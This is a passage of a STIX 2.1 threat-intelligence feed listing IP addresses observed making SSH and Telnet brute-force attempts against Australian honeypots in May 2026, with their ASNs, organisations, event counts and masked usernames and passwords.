      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, v***k, 3**********4, I******), a****r. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******5, H*******3.",
      "id": "indicator--39c610c8-1f2a-43ff-9bfb-a11c4d83fbcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.39.208.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): g***t. Passwords observed (masked): a*******s.",
      "id": "indicator--07e63e71-917c-4bc0-8983-5ceeb7eb16e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.32.70.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24139. Organisation(s): Huashu media&Network Limited.",
      "id": "indicator--6440c52a-a2b8-4954-ab8d-b0fa18a4a67a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.215.222.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:15:10.000Z",
      "valid_until": "2026-07-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-31T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 24165. Organisation(s): UNION BROADBAND NETWORK.",
      "id": "indicator--11e5d298-8410-47e2-ae75-f7cecdc1a8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.254.1.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:15:10.000Z",
      "valid_until": "2026-07-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-31T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--304664cd-35ee-4647-ac48-343b8ae82d46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.244.189.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:15:10.000Z",
      "valid_until": "2026-07-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-31T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 211356. Organisation(s): MyTv-Alb SH.P.K..",
      "id": "indicator--2fddf44e-b3cd-4d64-8259-0e8f62efd4e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.163.187.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:15:10.000Z",
      "valid_until": "2026-07-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-31T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--aecf776a-915f-4728-ad57-9ccf8fe75aed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.106.32.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:15:10.000Z",
      "valid_until": "2026-07-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-31T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--cc215133-f976-412d-8b94-caf5d22e63a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.221.139.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T17:15:10.000Z",
      "valid_until": "2026-07-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-31T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--05ad8105-7c60-4c02-8a66-0580971d3098",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.88.136.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T18:15:11.000Z",
      "valid_until": "2026-07-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-31T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--c63a619f-57d4-46c0-b35d-8af85bd1a1af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '73.72.45.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T18:15:11.000Z",
      "valid_until": "2026-07-02T18:15:08.000Z"
    },
    {
      "created": "2026-05-31T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131584. Organisation(s): Taiwan Intelligent Fiber Optic Network Co.,Ltd..",
      "id": "indicator--dffbba2f-67db-441a-863d-8cfd2f582391",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.3.43.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:15:11.000Z",
      "valid_until": "2026-07-02T19:15:09.000Z"
    },
    {
      "created": "2026-05-31T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 149440. Organisation(s): Evoxt Sdn. Bhd..",
      "id": "indicator--57e1dcf4-63a8-4fd0-8946-d866e2e14e26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.158.1.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:15:11.000Z",
      "valid_until": "2026-07-02T19:15:09.000Z"
    },
    {
      "created": "2026-05-31T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--51ed15da-9a4b-48a6-9afe-b260c556c570",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:15:11.000Z",
      "valid_until": "2026-07-02T19:15:09.000Z"
    },
    {
      "created": "2026-05-31T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): C********************************1, u*************************************************************************************************************************6. Passwords observed (masked): , H*********************3.",
      "id": "indicator--5e0aa361-3cc5-4e8f-a665-801b33792136",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.210.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:15:11.000Z",
      "valid_until": "2026-07-02T19:15:09.000Z"
    },
    {
      "created": "2026-05-31T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 662. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 202520. Organisation(s): SkyPass Solutions Sp. z.o.o.. Usernames observed (masked): r**t, u***1, d****y, h****p, u****u. Passwords observed (masked): 1****6, ***, p******d, !******X, *.",
      "id": "indicator--b85aa19b-4039-4ffb-952c-bda891541f82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.168.69.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:15:11.000Z",
      "valid_until": "2026-07-02T19:15:09.000Z"
    },
    {
      "created": "2026-05-31T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3772c7d7-6321-4d20-a55c-1ac64de262be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.123.82.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T20:15:11.000Z",
      "valid_until": "2026-07-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-31T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 264157. Organisation(s): GUAREZE FIBRA LTDA. Usernames observed (masked): r**t. Passwords observed (masked): , M*******3.",
      "id": "indicator--1b96735c-8385-4f1b-bfde-9233d7840c95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.99.79.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T20:15:11.000Z",
      "valid_until": "2026-07-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-31T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6849. Organisation(s): JSC Ukrtelecom.",
      "id": "indicator--6d7339ea-2eb1-42c0-aecf-272fe33a4da9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.55.198.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T20:15:11.000Z",
      "valid_until": "2026-07-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-31T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--c2ced06f-6695-4f15-aa8b-a10fac539fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.142.113.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T20:15:11.000Z",
      "valid_until": "2026-07-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-31T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 263703. Organisation(s): VIGINET C.A.",
      "id": "indicator--d4576d5b-560a-4133-968e-d9b92df71636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.211.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T20:15:11.000Z",
      "valid_until": "2026-07-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-31T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ed51184b-dc68-4791-8f6e-48fc617ec436",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.174.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T20:15:11.000Z",
      "valid_until": "2026-07-02T20:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--eaf11eb5-cd23-4086-9a5c-6c2c1b299be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.161.116.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): A*******3.",
      "id": "indicator--3ca483d1-9d9b-4e99-9237-f508e11d97fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.127.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): a***l. Passwords observed (masked): 1**4.",
      "id": "indicator--09f3b099-11d2-4e4b-9998-6a76c90c8742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.230.140.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A..",
      "id": "indicator--59a229bd-1168-4c30-bd0a-52ab85a37c0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.181.44.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f4bda5e9-88a5-4a48-8d78-beabf13e8c70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--c4458e6a-ed49-48a4-aa45-0d00e9cae839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T21:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c5440a5f-4019-46a7-bff9-babac0f659d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T21:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.91.232.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:15:12.000Z",
      "valid_until": "2026-07-02T21:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, c****t, 3**********4, a***n, f*****r. Passwords observed (masked): *, ***, 1**4, 1********y, 3***********4.",
      "id": "indicator--4556e99e-df0d-4d9e-9738-2c01c944da4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '132.145.213.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--ebb484b0-1103-40dc-9b3c-f2b7f88ee94e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.106.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t, 3**********4, c****t, f*****r, a***n. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1**4.",
      "id": "indicator--d6870978-89a5-49a3-84ff-0d34fcce31db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.236.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): a*****o. Passwords observed (masked): a*****o.",
      "id": "indicator--54a92170-131a-4860-af6c-1facdc824fb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.119.63.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk. Usernames observed (masked): r**t, 3**********4, **, n**k, s****e. Passwords observed (masked): 3***********4, 3**********4, Q*******3, Q**********6, T******3.",
      "id": "indicator--f9295c99-0fc5-4a81-ac7e-898e6211d4db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.102.252.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r****r. Passwords observed (masked): 1**4.",
      "id": "indicator--ca897550-f12d-4d57-8dbb-8e8eb99b0d1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.212.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e51278c9-5d79-4ac7-b676-150521a6e9e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:15:11.000Z",
      "valid_until": "2026-07-02T22:15:08.000Z"
    },
    {
      "created": "2026-05-31T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 48190. Organisation(s): T2 Mobile LLC.",
      "id": "indicator--e6780363-61fd-4953-a4e9-c3cef89a5bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:15:11.000Z",
